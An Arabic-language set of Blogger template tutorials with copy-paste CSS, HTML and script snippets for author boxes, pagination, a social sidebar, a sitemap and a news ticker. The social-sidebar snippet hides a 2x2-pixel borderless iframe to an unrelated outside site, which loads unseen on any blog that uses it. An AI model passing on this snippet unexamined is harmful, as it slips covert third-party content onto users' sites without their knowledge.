اضافات بلوجر

كيفية اضافة تعريف بصاحب او الكاتب المدونة تحت كل تدوينة 
اولا اذهب
 لوحة التحكم
 قالب
Html تحرير
 توسيع القالب
الان اضغط 
Ctrl+f
كي نبحث عن 
]]></b:skin> 
ضع فوقه هدا الكود
/* Author Bio */
.postauthor {
background: #F5F5F5;
border-top: 1px solid #e1e1e0;
border-bottom: 1px solid #e1e1e0;
overflow: hidden;
padding: 0.7em;
}
.postauthor img {
border: 5px solid #e2dede;
float: right;
margin-left: 1em;
}
.postauthor h3 {
color: #666;
font-size: 1.2em;
margin-bottom: 5px;
margin-top: 0;
}
.postauthor p {
color: #515151;
font-size: 12px;
margin-bottom: 10px;
margin-top: 0;
}
/* Author Bio End */

 ابحت عن
 <data:post.body/>
ادا وجدت اكتر من واحدة فان التانية هي المقصودة
ثم ضع هدا الكود بعدها


<b:if cond='data:blog.pageType == "item"'>
<div class='postauthor'>
<img alt='' height='80' src='رابط الصورة الشخصية' width='80'/>
<h3>
بقلم <a href='Blog Link'> اسم الكاتب </a></h3>
<p>
فقرة تضم نبذة عن الكاتب </p>
</div>
</b:if> 
ثم غيرفي هدا الكود
  رابط الصورة الشخصية
اسم الكاتب ' 
فقرة تضم نبذة عن الكاتب
انتهى

    كيفية اضافة صندوق روابط هذه التدوينة قابلة للنسخ واللصق اسفل كل تدوينة
1/ لوحة التحكم
 قالب
Html تحرير
 توسيع القالب
الان اضغط 
Ctrl+f
كي نبحث عن 
]]></b:skin>
ثم قم بوضع الكود التالي قبله : 
#table {
    font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
    font-size: 13px;
    margin: 10px -12px;
    width: 580px;
    text-align: left;
    border-collapse: collapse;
   direction:ltr;
}
#table th {
    font-size: 13px;
    font-weight: normal;
    padding: 8px;
    background: #FFFFCC url('##') repeat-x;
    border-top: 2px solid #d3ddff;
    border-bottom: 1px solid #fff;
    color: #039;

}
#table td {
    padding: 8px;
    border-bottom: 1px solid #fff;
    color: #4c4c4c;
    border-top: 1px solid #fff;
    background: #FFFFCCurl('#') repeat-x;
}
#table tfoot tr td {
    background: #e8edff;
    font-size: 20px;
    color: #99c;
    text-align:center;
}
#table tbody tr:hover td {
    background: #FFFFCC url('#') repeat-x;
    color: #339;
}
#table a:hover {
    text-decoration:underline;
}  
2/تم ابحت عن الكود التالي 
<data:post.body/>
ادا وجته مكررا اكتر من مرة فتاني هو مقصود 
تم ضع تحته  
 <b:if cond='data:blog.pageType == "item"'>
<table id='table' summary='روابط الموضوع'>
  <tfoot>
<tr>
      <td colspan='2'> روابط هذه التدوينة قابلة للنسخ واللصق </td>
    </tr>
</tfoot>
<tr>
  <td>URL</td>
  <td><input expr:value='data:post.canonicalUrl' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
<tr>
  <td>HTML</td>
  <td><input expr:value='"<a href="" + data:post.canonicalUrl + "" title="" + data:post.title + "">" + data:post.title + "</a>"' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
<tr>
  <td>BBCode</td>
  <td><input expr:value='"[url=" + data:post.canonicalUrl + "]" + data:post.title + "[/url]"' onclick='this.focus(); this.select();' readonly='readonly' style='width: 560px;' type='text'/></td>
</tr>
</table>
</b:if> 
انتهى 

طريقة اضافة ترقيم صفحات بلوجر 
 لوحة التحكم
 قالب
Html تحرير
 توسيع القالب
الان اضغط 
Ctrl+f
كي نبحث عن 
 ]]></b:skin>
ضع قبلها هدا الكود  
.pagenavi{clear:both;margin:10px auto;text-align:center}.pagenavi span,.pagenavi a{padding:10px;margin-right:5px;padding-top:5px;padding-bottom:5px;background:#FFFFFF;-webkit-border-radius: 5px;-moz-border-radius: 5px;border-radius: 5px;}.pagenavi a:hover,.pagenavi .current{background:#ff8400;color:#fff;text-decoration:none}.pagenavi .pages,.pagenavi .current{font-weight:bold}.pagenavi .pages{border:none}  
بعدها ابحت عن
<b:widget id='Blog1' locked='true' title='رسائل المدونة الإلكترونية' type='Blog'>
وضع بعدها مباشرة 
 <b:includable id='page-navi'><div class='pagenavi'>
<script type='text/javascript'>var pageNaviConf = {perPage: 3,numPages: 5,firstText: "الصفحة الأولى",lastText: "الصفحة الأخيرة",nextText: "»",prevText: "«" }</script><script src='https://arblogger-templates.googlecode.com/svn/trunk/pagenavi.min.js' type='text/javascript'/><div class='clear'/>
</div>
</b:includable> 
perPage : عدد المواضيع المعروضة في كل صفحة
numPages : عدد الأرقام المراد عرضها بالترقيم
بعدها ابحت عن
<!-- navigation -->
<b:include name='nextprev'/> 
واستبدلها بهدا الكود 
 <b:if cond='data:blog.pageType == "index"'><b:include name='page-navi' /><b:else/><b:if cond='data:blog.pageType == "archive"'><b:include name='page-navi' /></b:if></b:if> 
 انتهى  
    اضافة شريط ايقونات المواقع الاجتماعية  
طريقة اضافة الاداة 
ادهب الى 
 لوحة التحكم
 التخطيط
 إضافة أداة
Html/javascript
الصق الكود التالي
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- *//* ---------- Digital Hub Inc : http://add-b.blogspot.com//---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/
</style><iframe src="http://raay-arab.4ulike.com/h3-" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
 <ul>
<li>
<a class="entypo-twitter" href="https://twitter.com/xxx" rel="nofollow" target="_blank">
<span>Twitter</span>
</a>
</li>
<li>
 <a class="entypo-gplus" href="https://plus.google.com/xxx" rel="nofollow" target="_blank">
<span>google+</span>
</a>
</li>
<li>
<a class="entypo-tumblr" href="http://www.tumblr.net/xxx" rel="nofollow" target="_blank">
<span>tumblr</span>
</a>
</li>
<li>
 <a class="entypo-facebook" href="https://www.facebook.com/xxx" rel="nofollow" target="_blank">
<span>facebook</span>
</a>
</li>
<li>
 <a class="entypo-rss" href="http://feeds.feedburner.com/xxx" rel="nofollow" target="_blank">
<span>feedburner</span>
 </a>
</li>
</ul>
</div> 
وغير مايلي حسب حساباتك  
https://twitter.com/xxx
https://plus.google.com/xxx
http://www.tumblr.net/xxx
https://www.facebook.com/xxx
http://feeds.feedburner.com/xxx 
انتهى
كيفية إضافة فهرس لمدونتك 
أولا اذهب إلى 
 لوحة التحكم
الصفحات
 صفحة جديد
 صفحة فارغة
Html
تم نضع الكود التالي
 <div dir="rtl" style="text-align: right;">
</div>
<script style="" src="http://sites.google.com/site/mohamedabuiyad/sitmapblogger/sitmapabuiyad.js"></script>
<script src="http://meftahbloger.blogspot.com/feeds/posts/summary?max-results=9999&alt=json-in-script&callback=loadtoc"></script> 

غير الرابط  
http://etreprofessionnel.blogspot.com
إلى رابط مدونتك 
 اترك تعليق 
وشكرا
انتهى 

كيفية إضافة شريط متحرك لاخر المواضيع في مدونة بلوجر 

طريقة إضافة شريط متحرك لاخر المواضيع في مدونة بلوجر التي تظيف تلقائيا كل موضوع جديد تقوم بنشره على مدونتك ، هذه الأداة تشبه ما نراه في المواقع الإخبارية مثل هسبريس المغربية والعديد من المواقع الاخبارية ، وهذه الاداة ليست كتابه فقط بل يمكنك اضافة صورة صغيرة تفصل بين خبر و آخر، وفي هذا الدرس من دروس البلوجر سوف نتعرف على كيفية تغيير هذه الصورة بالصورة التي تريدها كما يمكنك وضع شعار مدونتك الخاصة .
الخطوة الأولى 
اضغط زر تخطيط
الخطوة االثانية 
اضغط زر آداة 
الخطوة الثالثة 
  انسخ الكود ثم قم بإلصاقه في HTML/JavaScript عملية الحفظ وانتهى الامر 

  

 الكود 
<script type="text/javascript">
        var w2bWidth="100";
        var w2bScrollAmount="14";
        var w2bScrollDelay="5";
        var w2bDirection="right";
        var w2btargetlink="yes";
        var w2bnumPosts="51";
        var w2bBulletchar =">>>";
        var w2bimagebullet="yes";
        var w2bimgurl="http://im76.gulfup.com/y97UbL.png";
        var w2bfontsize="11";
        var w2bbgcolor="cccccc";
        var w2blinkcolor="444444";
        var w2blinkhovercolor="E34429";
    </script>
    <script src="http://sites.google.com/site/javacodehtml/recent-posts-comments-Scrolling-text.js" type="text/javascript"></script>
    <script type="text/javascript" src="http://هنا رابط مدونتك/feeds/posts/default?alt=json-in-script&callback=w2bAdvRecentPostsScrollerv3&max-results=10">

</script>  


 شرح تحرير او تعديل شريط متحرك لاخر المواضيع في مدونة بلوجر
 سرعة الحركة
w2bScrollAmount
w2bScrollDelay
  المدة الفاصلة قبل إعادة عرض المواضيع من جديد
w2bDirection
  إتجاه الحركة، اكتب right إذا كانت مدونتك بالعربية و left إن كانت بلغة أجنبية
w2btargetlink
  yes لفتح الموضوع في نافذة جديدة
w2bnumPosts
  عدد آخر المواضيع التي يتم عرضها
w2bBulletchar
  شكل الفاصلة، التي تفصل بين المواضيع ( الأولوية لإظهار الصورة ، أي أنك إذا قمت بإختيار صورة كفاصلة فستظهر الصورة)
w2bimagebullet
  yes لإظهار الفواصل و no لإخفائها
w2bimagebullet
  الصورة الفاصلة، يمكنك صنع صورة من شعار مدونتك بالمقاس 35x15 px، ثم قم برفعها على أحد مواقع رفع الصور (موقع رفع الصور ) ثم قم بنسخ رابط الصورة و ضعه هنا
أو قم بحذف الرابط إذا أردت إظهار فواصل w2bBulletchar
w2bfontsize: حجم الخط
w2bbgcolor: لون الخلفية
w2blinkcolor: لون الخط
لون الخط عند تمرير مؤشر الماوس
w2blinkhovercolor
انتهى